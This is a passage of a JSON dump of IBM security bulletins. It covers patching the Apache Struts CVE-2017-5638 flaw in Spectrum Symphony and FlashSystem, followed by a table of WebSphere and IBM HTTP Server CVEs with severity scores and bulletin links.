$EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp struts2-core-2.3.32.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp struts2-json-plugin-2.3.32.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp struts2-spring-plugin-2.3.32.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp xwork-core-2.3.32.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp xstream-1.4.8.jar $EGO_TOP/wlp/usr/servers/gui/apps/ego/$EGO_VERSION/platform/WEB-INF/lib/ \n> cp velocity-1.6.4.jar $EGO_TOP/wlp/usr/servers/gui/apps/ego/$EGO_VERSION/platform/WEB-INF/lib/ \n> cp freemarker-2.3.22.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/ \n> cp ognl-3.0.19.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/ \n> cp struts2-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/ \n> cp xwork-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/ \n> cp ognl-3.0.19.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/ (**For 7.2 Only**) \n> cp freemarker-2.3.22.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/ (**For 7.2 Only**) \n> cp xwork-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/ (**For 7.2 Only**) 2.5 Clean up the GUI work directories on all management hosts: > rm -rf $EGO_TOP/gui/work/* \n> rm -rf $EGO_TOP/gui/workarea/* \n**NOTE: **If you changed the default configuration for the WLP_OUTPUT_DIR environment variable and the APPEND_HOSTNAME_TO_WLP_OUTPUT_DIR parameter is set to true in the $EGO_CONFDIR/wlp.conf file, you must clean up the $WLP_OUTPUT_DIR/webgui_hostname/gui/workarea/ directory. 2.6 Launch a web browser and clear your browser\u2019s cache. \n2.7 Start the WEBGUI service: > egosh service start WEBGUI\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-18T01:35:45", "type": "ibm", "title": "Security Bulletin: A vulnerability in Apache Struts 2 affects IBM Platform Symphony and IBM Spectrum Symphony (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-18T01:35:45", "id": "02304D05D897B568E77C8953094F5914F389089362655D2AB68B096E3F3418DC", "href": "https://www.ibm.com/support/pages/node/631039", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-18T05:32:33", "description": "## Summary\n\nThere is a vulnerability in Apache Struts to which the IBM\u00ae FlashSystem\u2122 840 and FlashSystem\u2122 900 is susceptible. An exploit of this vulnerability (CVE-2017-5638) could allow a remote attacker to execute arbitrary code on the system\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nFlashSystem 840 machine type and models (MTMs) affected include 9840-AE1 and 9843-AE1. \n \nFlashSystem 900 MTMs affected include 9840-AE2 and 9843-AE2. \n \nCode versions affected include supported VRMFs: \n\u00b7 1.4.0.0 \u2013 1.4.6.0 \n\u00b7 1.3.0.0 \u2013 1.3.0.7\n\n## Remediation/Fixes\n\n_MTMs_\n\n| _VRMF_| _APAR_| _Remediation/First Fix_ \n---|---|---|--- \n**FlashSystem ****840 MTM: ** \n9840-AE1 & \n9843-AE1 \n \n**FlashSystem 900 MTMs:** \n9840-AE2 & \n9843-AE2| _Code fixes are now available, the minimum VRMF containing the fix depends on the code stream: \n \n___ Fixed code VRMF .__ \n_1.4 stream: 1.4.6.1 _ \n_1.3 stream: 1.3.0.8_| _ __N/A_| [**_FlashSystem 840 fixes_**](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Flash%2Bhigh%2Bavailability%2Bsystems&product=ibm/StorageSoftware/IBM+FlashSystem+840&release=All&platform=All&function=all>)** **and [**_FlashSystem 900 fixes_**](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Flash%2Bhigh%2Bavailability%2Bsystems&product=ibm/StorageSoftware/IBM+FlashSystem+900&release=All&platform=All&function=all>)** **are available @ IBM\u2019s Fix Central_ _ \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-02-18T01:45:50", "type": "ibm", "title": "Security Bulletin: A vulnerability in Apache Struts affects the IBM FlashSystem models 840 and 900", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2023-02-18T01:45:50", "id": "7E0CCCCB457D8A77AB9E189B336C99165EE3DEBFD72C3969F0C1103ED1D1CC6D", "href": "https://www.ibm.com/support/pages/node/697155", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-07-27T22:03:06", "description": "## Question\n\nIs there a list that contains the security bulletins that apply to WebSphere Application Server and IBM HTTP Server?\n\n## Answer\n\nThe following table is provided to help you locate WebSphere Application Server and IBM HTTP Server security bulletins. These are listed numerically by CVE number not by the last one published.\n\nNote the IBM Java runtime included with WebSphere Application Server provides an execution environment for non-IBM code. While the below table includes all IBM Java vulnerabilities related to the WebSphere Application Server product, there might be additional IBM Java vulnerabilities which impact non-IBM code running in your WebSphere Application Server environment. For a listing of all IBM Java security bulletins, refer to [_IBM Java Security Alerts_](<https://www.ibm.com/developerworks/java/jdk/alerts/>). To determine the Java SDK version used with WebSphere Application Server, refer to the [_Verify Java SDK version shipped with WebSphere Application Server_](<http://www-01.ibm.com/support/docview.wss?rs=180&uid=swg27005002>).\n\nTo avoid preventable security issues, it is recommended that you stay up-to-date on the most current maintenance options for your products. You can also subscribe to the security bulletins for each of your products as provided in this link, [_IBM Security Bulletins_](<http://www.ibm.com/security/secure-engineering/bulletins.html>).\n\nWhen significant updates have been made to security bulletins, it will be noted with the date of the last update in the bulletin columns.\n\nNote: Starting 07/16/2020, the most recent fix published will be added to the top of this list below as well as in numerical order by year.\n\n**Recent CVEs (previous 15 published from most recent to least recent)**\n\n**Name **\n\n| \n\n**CVE**\n\n| \n\n**CVSS Score**\n\n| \n\n**WebSphere Application Server Bulletin or Assessment**\n\n| \n\n**IBM HTTP Server Bulletin or Assessment**\n\n| \n\n**Versions Affected** \n \n---|---|---|---|---|--- \n| CVE-2022-22477 | 6.1 | [Cross-site Scripting](<https://www.ibm.com/support/pages/node/6603417>) | Not affected | 9.0,8.5 \n| CVE-2022-22473 | 3.7 | [Information Disclosure](<https://www.ibm.com/support/pages/node/6603421>) | Not affected | 9.0,8.5,8.0,7.0 \n| CVE-2019-11777 | 7.5 | [Spoofing vulnerability](<https://www.ibm.com/support/pages/node/6602039>) | Not affected | Liberty \n| CVE-2022-22476 | 5.0 | [Identity Spoofing](<https://www.ibm.com/support/pages/node/6602015>) | Not affected | Liberty \n| CVE-2022-26377 | 7.3 | Not affected | [HTTP Request Smuggling](<https://www.ibm.com/support/pages/node/6595149>) | 7.0,8.0,8.5,9.0 \n| CVE-2022-28614 | 5.3 | Not affected | [Information Disclosure](<https://www.ibm.com/support/pages/node/6595149>) | 7.0,8.0,8.5,9.0 \n| CVE-2022-28615 | 6.5 | Not affected | [Information Disclosure](<https://www.ibm.com/support/pages/node/6595149>) | 7.0,8.0,8.5,9.0 \n| CVE-2022-29404 | 5.3 | Not affected | [Denial of Service](<https://www.ibm.com/support/pages/node/6595149>) | 7.0,8.0,8.5,9.0 \n| CVE-2022-30556 | 5.3 | Not affected | [Information Disclosure](<https://www.ibm.com/support/pages/node/6595149>) | 7.0,8.0,8.5,9.0 \n| CVE-2022-31813 | 5.3 | Not affected | [Bypass Security](<https://www.ibm.com/support/pages/node/6595149>) | 7.0,8.0,8.5,9.0 \n| CVE-2022-21496 | 5.3 | [IBM Java SDK for April 2022](<https://www.ibm.com/support/pages/node/6594523>) | Not affected | 9.0,8.5,Liberty \n| CVE-2022-21299 | 5.3 | [IBM Java SDK for April 2022](<https://www.ibm.com/support/pages/node/6594523>) | Not affected | 9.0,8.5,Liberty \n| CVE-2022-22365 | 5.6 | [Spoofing vulnerability](<https://www.ibm.com/support/pages/node/6587947>) | Not affected | 9.0,8.5,8.0,7.0 \n| CVE-2022-22475 | 7.1 | [Identity Spoofing](<https://www.ibm.com/support/pages/node/6586734>) | Not affected | Liberty \n \n**2022 CVEs**\n\n**Name **\n\n| \n\n**CVE**\n\n| \n\n**CVSS Score**\n\n| \n\n**WebSphere Application Server Bulletin or Assessment**\n\n| \n\n**IBM HTTP Server Bulletin or Assessment**\n\n| \n\n**Versions Affected** \n \n---|---|---|---|---|--- \n| CVE-2022-31813 | 5.3 | Not affected | [Bypass Security](<https://www.ibm.com/support/pages/node/6595149>) | 7.0,8.0,8.5,9.0 \n| CVE-2022-30556 | 5.3 | Not affected | [Information Disclosure](<https://www.ibm.com/support/pages/node/6595149>) | 7.0,8.0,8.5,9.0 \n| CVE-2022-29404 | 5.3 | Not affected | [Denial of Service](<https://www.ibm.com/support/pages/node/6595149>) | 7.0,8.0,8.5,9.0 \n| CVE-2022-28615 | 6.5 | Not affected | [Information Disclosure](<https://www.ibm.com/support/pages/node/6595149>) | 7.0,8.0,8.5,9.0 \n| CVE-2022-28614 | 5.3 | Not affected | [Information Disclosure](<https://www.ibm.com/support/pages/node/6595149>) | 7.0,8.0,8.5,9.0 \n| CVE-2022-26377 | 7.3 | Not affected | [HTTP Request Smuggling](<https://www.ibm.com/support/pages/node/6595149>) | 7.0,8.0,8.5,9.0 \n| CVE-2022-25315 | 7.8 | Not affected | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6560814>) | 9.0,8.5,8.0,7.0 \n| CVE-2022-25313 | 5.5 | Not affected | [Denial of Service](<https://www.ibm.com/support/pages/node/6560814>) | 9.0,8.5,8.0,7.0 \n| CVE-2022-25236 | 5.3 | Not affected | [Denial of Service](<https://www.ibm.com/support/pages/node/6560814>) | 9.0,8.5,8.0,7.0 \n| CVE-2022-25235 | 3.3 | Not affected | [Denial of Service](<https://www.ibm.com/support/pages/node/6560814>) | 9.0,8.5,8.0,7.0 \n| CVE-2022-23990 | 9.8 | Not affected | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6559296>) | 9.0,8.5,8.0,7.0 \n| CVE-2022-23852 | 9.8 | Not affected | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6559296>) | 9.0,8.5,8.0,7.0 \n| CVE-2022-23307 | 9.8 | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6557248>) | Not affected | 9.0,8.5,8.0,7.0,Liberty \n| CVE-2022-23305 | 6.5 | [SQL Injection](<https://www.ibm.com/support/pages/node/6557248>) | Not affected | 9.0,8.5,8.0,7.0,Liberty \n| CVE-2022-23302 | 8.8 | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6557248>) | Not affected | 9.0,8.5,8.0,7.0,Liberty \n| CVE-2022-22827 | 7.8 | Not affected | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6559296>) | 9.0,8.5,8.0,7.0 \n| CVE-2022-22826 | 7.8 | Not affected | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6559296>) | 9.0,8.5,8.0,7.0 \n| CVE-2022-22825 | 7.8 | Not affected | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6559296>) | 9.0,8.5,8.0,7.0 \n| CVE-2022-22824 | 7.8 | Not affected | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6559296>) | 9.0,8.5,8.0,7.0 \n| CVE-2022-22823 | 7.8 | Not affected | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6559296>) | 9.0,8.5,8.0,7.0 \n| CVE-2022-22822 | 7.8 | Not affected | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6559296>) | 9.0,8.5,8.0,7.0 \n| CVE-2022-22721 | 7.3 | Not affected | [Buffer Overflow](<https://www.ibm.com/support/pages/node/6565413>) | 9.0,8.5,8.0,7.0 \n| CVE-2022-22720 | 7.3 | Not affected | [HTTP Request Smuggling](<https://www.ibm.com/support/pages/node/6565413>) | 9.0,8.5,8.0,7.0 \n| CVE-2022-22719 | 5.3 | Not affected | [Denial of Service](<https://www.ibm.com/support/pages/node/6565413>) | 9.0,8.5,8.0,7.0 \n| CVE-2022-22477 | 6.1 | [Cross-site Scripting](<https://www.ibm.com/support/pages/node/6603417>) | Not affected | 9.0,8.5 \n| CVE-2022-22476 | 5.0 | [Identity Spoofing](<https://www.ibm.com/support/pages/node/6602015>) | Not affected | Liberty \n| CVE-2022-22475 | 7.1 | [Identity Spoofing](<https://www.ibm.com/support/pages/node/6586734>) | Not affected | Liberty \n| CVE-2022-22473 | 3.7 | [Information Disclosure](<https://www.ibm.com/support/pages/node/6603421>) | Not affected | 9.0,8.5,8.0,7.0 \n| CVE-2022-22393 | 3.1 | [Information Disclosure](<https://www.ibm.com/support/pages/node/6585704>) | Not affected | Liberty \n| CVE-2022-22365 | 5.6 | [Spoofing vulnerability](<https://www.ibm.com/support/pages/node/6587947>) | Not affected | 9.0,8.5,8.0,7.0 \n| CVE-2022-22310 | 4.8 | [Information Disclosure](<https://www.ibm.com/support/pages/node/6541530>) | Not affected | Liberty \n| CVE-2022-21496 | 5.3 | [IBM Java SDK for April 2022 CPU](<https://www.ibm.com/support/pages/node/6594523>) | | 9.0,8.5,Liberty \n| CVE-2022-21340 | 5.3 | [IBM Java SDK for January 2022 CPU](<https://www.ibm.com/support/pages/node/6559306>) | Not affected | 9.0,8.5,Liberty \n| CVE-2022-21229 | 5.3 | [IBM Java SDK for April 2022 CPU](<https://www.ibm.com/support/pages/node/6594523>) | | 9.0,8.5,Liberty \n \n**2021 CVEs**\n\n**Name **\n\n| \n\n**CVE**\n\n| \n\n**CVSS Score**\n\n| \n\n**WebSphere Application Server Bulletin or Assessment**\n\n| \n\n**IBM HTTP Server Bulletin or Assessment**\n\n| \n\n**Versions Affected** \n \n---|---|---|---|---|--- \n| CVE-2021-46708 | 4.3 | [Clickjacking vulnerability](<https://www.ibm.com/support/pages/node/6569505>) | Not affected | Liberty \n| CVE-2021-46143 | 7.8 | Not affected | [Remote Code Execution](<https://Denial of Service>) | 7.0,8.0,8.5,9.0 \n| CVE-2021-45960 | 5.5 | Not affected | [Denial of Service](<https://www.ibm.com/support/pages/node/6559296>) | 7.0,8.0,8.5,9.0 \n| CVE-2021-45105 | 7.5 | [Denial of Service](<https://www.ibm.com/support/pages/node/6538148>) | Not affected | 9.0, 8.5 \n| CVE-2021-45046 | 9.0 | [Denial of Service](<https://www.ibm.com/support/pages/node/6526750>) | Not affected | 9.0,8.5,8.0,7.0,Liberty \n| CVE-2021-44832 | 6.6 | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6538148>) | Not affected | 9.0, 8.5 \n| CVE-2021-44790 | 9.8 | Not affected | [Buffer overflow](<https://www.ibm.com/support/pages/node/6540288>) | 9.0 \nLog4Shell | CVE-2021-44228 | 10 | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6525706>) | Not affected | 9.0, 8.5 \n| CVE-2021-44224 | 8.2 | Not affected | [Denial of Service](<https://www.ibm.com/support/pages/node/6540288>) | 9.0 \n| CVE-2021-40438 | 9.0 | Not affected | [Server-side request forgery](<https://www.ibm.com/support/pages/node/6493841>) | 9.0 \n| CVE-2021-39275 | 3.7 | Not affected | [Buffer overflow](<https://www.ibm.com/support/pages/node/6493845>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2021-39038 | 4.4 | [Clickjacking vulnerability](<https://www.ibm.com/support/pages/node/6559044>) | Not affected | 9.0, Liberty \n| CVE-2021-39031 | 7.5 | [LDAP Injection](<https://www.ibm.com/support/pages/node/6550488>) | Not affected | Liberty \n| CVE-2021-38951 | 7.5 | [Denial of Service](<https://www.ibm.com/support/pages/node/6524674>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2021-36090 | 7.5 | [Denial of Service](<https://www.ibm.com/support/pages/node/6489683>) | Not affected | Liberty \n| CVE-2021-35603 | 3.7 | [IBM Java SDK for January 2022 CPU](<https://www.ibm.com/support/pages/node/6559306>) | Not affected | 9.0,8.5,Liberty \n| CVE-2021-35578 | 5.3 | [IBM Java SDK for October 2021 CPU](<https://www.ibm.com/support/pages/node/6520468>) | Not affected | 9.0, 8.5, Liberty \n| CVE-2021-35564 | 5.3 | [IBM Java SDK for October 2021 CPU](<https://www.ibm.com/support/pages/node/6520468>) | Not affected | 9.0, 8.5, Liberty \n| CVE-2021-35550 | 5.9 | [IBM Java SDK for January 2022 CPU](<https://www.ibm.com/support/pages/node/6559306>) | Not affected | 9.0,8.5,Liberty \n| CVE-2021-35517 | 5.5 | [Denial of Service](<https://www.ibm.com/support/pages/node/6489683>) | Not affected | Liberty \n| CVE-2021-34798 | 5.9 | Not affected | [Denial of service](<https://www.ibm.com/support/pages/node/6493841>) | 9.0 \n| CVE-2021-30641 | 5.3 | Not affected | [Weaker Security](<https://www.ibm.com/support/pages/node/6464029>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2021-29842 | 3.7 | [Information Disclosure](<https://www.ibm.com/support/pages/node/6489485>) | Not affected | 9.0,8.5,8.0,7.0,Liberty \n| CVE-2021-29754 | 4.2 | [Privilege Escalation](<https://www.ibm.com/support/pages/node/6462627>) | Not affected | 9.0, 8.5, 8.0. 7.0 \n| CVE-2021-29736 | 5.0 | [Privilege Escalation](<https://www.ibm.com/support/pages/node/6476678>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2021-26691 | 5.9 | Not affected | [Heap Buffer Overflow](<https://www.ibm.com/support/pages/node/6467651>) | 9.0 \n| CVE-2021-26690 | 3.7 | Not affected | [Denial of Service](<https://www.ibm.com/support/pages/node/6467651>) | 9.0 \n| CVE-2021-26296 | 8.8 | [Cross-site request forgery](<https://www.ibm.com/support/pages/node/6441433>) | Not affected | 9.0, 8.5, 8.0, Liberty \n| CVE-2021-23450 | 9.8 | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6558594>) | Not affected | 9.0,8.5,8.0,7.0,Liberty \n| CVE-2021-20517 | 6.4 | [Directory Traversal](<https://www.ibm.com/support/pages/node/6456955>) | Not affected | 9.0, 8.5 \n| CVE-2021-20492 | 6.5 | [XXE vulnerability](<https://www.ibm.com/support/pages/node/6456017>) | Not affected | 9.0, 8.5, 8.0, Liberty \n| CVE-2021-20480 | 4.3 | [Server-side request forgery](<https://www.ibm.com/support/pages/node/6441063>) | Not affected | 8.5, 8.0, 7.0 \n| CVE-2021-20454 | 8.2 | [XXE vulnerability](<https://www.ibm.com/support/pages/node/6445481>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2021-20453 | 8.2 | [XXE vulnerability](<https://www.ibm.com/support/pages/node/6445171>) | Not affected | 9.0, 8.5, 8.0 \n| CVE-2021-20354 | 5.9 | [Directory traversal](<https://www.ibm.com/support/pages/node/6415959>) | Not affected | 9.0, 8.5, 8.0 \n| CVE-2021-20353 | 8.2 | [XXE vulnerability](<https://www.ibm.com/support/pages/node/6413709>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2021-4104 | 8.1 | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6526750>) | Not affected | 9.0,8.5,8.0,7.0,Liberty \n| CVE-2021-2369 | 4.3 | [IBM Java SDK for July 2021 CPU](<https://www.ibm.com/support/pages/node/6481135>) | Not affected | 9.0, 8.5, Liberty \n| CVE-2021-2161 | 5.9 | [IBM Java SDK for April 2021 CPU](<https://www.ibm.com/support/pages/node/6454853>) | Not affected | 9.0, 8.5, Liberty \n \n**2020 CVEs**\n\n**Name **\n\n| \n\n**CVE**\n\n| \n\n**CVSS Score**\n\n| \n\n**WebSphere Application Server Bulletin or Assessment**\n\n| \n\n**IBM HTTP Server Bulletin or Assessment**\n\n| \n\n**Versions Affected** \n \n---|---|---|---|---|--- \n| CVE-2020-27221 | 9.8 | [IBM Java SDK for January 2021 CPU](<https://www.ibm.com/support/pages/node/6415639>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-14797 | 3.7 | [IBM Java SDK for October 2020 CPU](<https://www.ibm.com/support/pages/node/6379260>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-14782 | 3.7 | [IBM Java SDK for January 2021 CPU](<https://www.ibm.com/support/pages/node/6415639>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-14781 | 3.7 | [IBM Java SDK for January 2021 CPU](<https://www.ibm.com/support/pages/node/6415639>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-14621 | 5.3 | [IBM Java SDK for July 2020 CPU](<https://www.ibm.com/support/pages/node/6256732>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-14581 | 3.7 | [IBM Java SDK for July 2020 CPU](<https://www.ibm.com/support/pages/node/6256732>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-14579 | 3.7 | [IBM Java SDK for July 2020 CPU](<https://www.ibm.com/support/pages/node/6256732>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-14578 | 3.7 | [IBM Java SDK for July 2020 CPU](<https://www.ibm.com/support/pages/node/6256732>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-14577 | 3.7 | [IBM Java SDK for July 2020 CPU](<https://www.ibm.com/support/pages/node/6256732>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-13938 | 6.2 | Not affected | [Denial of Service](<https://www.ibm.com/support/pages/node/6464029>) | 9.0, 8.5, 8.0, 7.0 \n| CVE-2020-11985 | 5.3 | Not affected | [Spoofing Vulnerability](<https://www.ibm.com/support/pages/node/6324789>) | 9.0 \n| CVE-2020-10693 | 5.3 | [Bypass security](<https://www.ibm.com/support/pages/node/6348216>) | Not affected | Liberty \n| CVE-2020-5258 | 7.5 | [Information Disclosure](<https://www.ibm.com/support/pages/node/6443101>) | Not affected | 9.0, 8.5, 8.0, Liberty \n| CVE-2020-5016 | 5.3 | [Directory traversal](<https://www.ibm.com/support/pages/node/6427873>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2020-4949 | 8.2 | [XXE vulnerability](<https://www.ibm.com/support/pages/node/6408244>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2020-4782 | 6.5 | [Directory Traversal](<https://www.ibm.com/support/pages/node/6356083>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2020-4643 | 7.5 | [Information Disclosure](<https://www.ibm.com/support/pages/node/6334311>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2020-4629 | 2.9 | [Information Disclosure](<https://www.ibm.com/support/pages/node/6339255>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2020-4590 | 5.3 | [Denial of Service](<https://www.ibm.com/support/pages/node/6333623>) | Not affected | Liberty \n| CVE-2020-4589 | 8.1 | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6258333>) | Not affected | 9.0,8.5,8.0,7.0 \n| CVE-2020-4578 | 5.4 | [Cross-site scripting](<https://www.ibm.com/support/pages/node/6328895>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2020-4576 | 5.3 | [Information Disclosure](<https://www.ibm.com/support/pages/node/6339807>) | Not affected | 9.0, 8.5, 8.0, 7.0 \n| CVE-2020-4575 | 4.7 | [Cross-site scripting](<https://www.ibm.com/support/pages/node/6323293>) | Not affected | 9.0, 8.5, 8.0VE, 7.0VE \n| CVE-2020-4534 | 7.8 | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6255074>) | Not affected | 9.0,8.5,8.0,7.0 \n| CVE-2020-4464 | 8.8 | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6250059>) | Not affected | 9.0,8.5,8.0,7.0 \n| CVE-2020-4450 | 9.8 | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6220294>) | Not affected | 9.0,8.5 \n| CVE-2020-4449 | 7.5 | [Information Disclosure](<https://www.ibm.com/support/pages/node/6220296>) | Not affected | 9.0, 8.5, 8.0,7.0 \n| CVE-2020-4448 | 9.8 | [Remote Code Execution](<https://www.ibm.com/support/pages/node/6220336>) | Not affected | 9.0, 8.5, 8.0VE, 7.0VE \n| CVE-2020-4421 | 5.0 | [Identity spoofing](<https://www.ibm.com/support/pages/node/6205926>) | Not affected | Liberty \n| CVE-2020-4365 | 5.3 | [Server-side request forgery](<https://www.ibm.com/support/pages/node/6209099>) | Not affected | 8.5 \n| CVE-2020-4362 | 7.5 | [Privilege Escalation](<https://www.ibm.com/support/pages/node/6174417>) | Not affected | 9.0,8.5,8.0,7.0 \n| CVE-2020-4329 | 4.3 | [Information Disclosure](<https://www.ibm.com/support/pages/node/6201862>) | Not affected | 9.0,8.5,8.0,7.0,Liberty \n| CVE-2020-4304 | 6.1 | [Cross-site scripting](<https://www.ibm.com/support/pages/node/6147195>) | Not affected | Liberty \n| CVE-2020-4303 | 6.1 | [Cross-site scripting](<https://www.ibm.com/support/pages/node/6147195>) | Not affected | Liberty \n| CVE-2020-4276 | 7.5 | [Privilege Escalation](<https://www.ibm.com/support/pages/node/6118222>) | Not affected | 9.0,8.5,8.0,7.0 \n| CVE-2020-4163 | 6.6 | [Command Execution](<https://www.ibm.com/support/pages/node/1288786>) | Not affected | 9.0,8.5,8.0,7.0 \n| CVE-2020-2800 | 4.8 | [IBM Java SDK for April 2020 CPU](<https://www.ibm.com/support/pages/node/6206850>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-2781 | 5.3 | [IBM Java SDK for April 2020 CPU](<https://www.ibm.com/support/pages/node/6206850>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-2773 | 3.7 | [IBM Java SDK for January 2021 CPU](<https://www.ibm.com/support/pages/node/6415639>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-2755 | 3.7 | [IBM Java SDK for April 2020 CPU](<https://www.ibm.com/support/pages/node/6206850>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-2754 | 3.7 | [IBM Java SDK for April 2020 CPU](<https://www.ibm.com/support/pages/node/6206850>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-2654 | 3.7 | [IBM Java SDK for April 2020 CPU](<https://www.ibm.com/support/pages/node/6206850>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-2601 | 6.8 | [IBM Java SDK for July 2020 CPU](<https://www.ibm.com/support/pages/node/6256732>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-2593 | 4.8 | [IBM Java SDK for January 2020 CPU](<https://www.ibm.com/support/pages/node/1289194>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-2590 | 3.7 | [IBM Java SDK for July 2020 CPU](<https://www.ibm.com/support/pages/node/6256732>) | Not affected | 9.0,8.5,Liberty \n| CVE-2020-1934 | 8.1 | Not affected | [Denial of Service](<https://www.ibm.com/support/pages/node/6191631>) | 9.0,8.5,8.0,7.0 \n| CVE-2020-1927 | 7.4 | Not affected | [Phishing attack](<https://www.ibm.com/support/pages/node/6191631>) | 